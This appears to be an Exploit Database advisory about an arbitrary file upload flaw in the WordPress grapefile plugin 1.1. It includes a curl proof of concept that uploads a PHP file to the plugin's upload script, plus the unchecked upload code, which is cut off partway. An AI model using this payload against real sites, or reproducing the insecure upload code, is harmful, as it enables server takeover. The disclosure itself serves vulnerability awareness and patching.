WordPress Plugin grapefile 1.1 – Arbitrary File Upload

• Exploit Database
• 111 阅读

• 作者： Hrvoje Spoljar
  日期： 2011-08-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17760/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

  Title: WordPress grapefile plugin <= 1.1 Arbitrary file upload Date: 30-8-2011 Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ] Version: 1.1 Software link:http://wordpress.org/extend/plugins/grapefile/   PoC: curl -F "userfile=@mycode.php" http://domain.tld/wp-content/plugins/grapefile/grapeupload.php   File(s): grapeupload.phpgrapeupload2.phpgrapeupload3.php grapeupload4.php Vulnerable code: $uploaddir = $_SERVER["DOCUMENT_ROOT"].&apos;/wp-content/plugins/grapefile/filestore/avi/&apos;; $uploadfile = $uploaddir . basename($_FILES[&apos;userfile&apos;][&apos;name&apos;]);   if (move_uploaded_file($_FILES[&apos;userfile&apos;][&apos;tmp_name&apos;], $uploadfile)) { echo "success";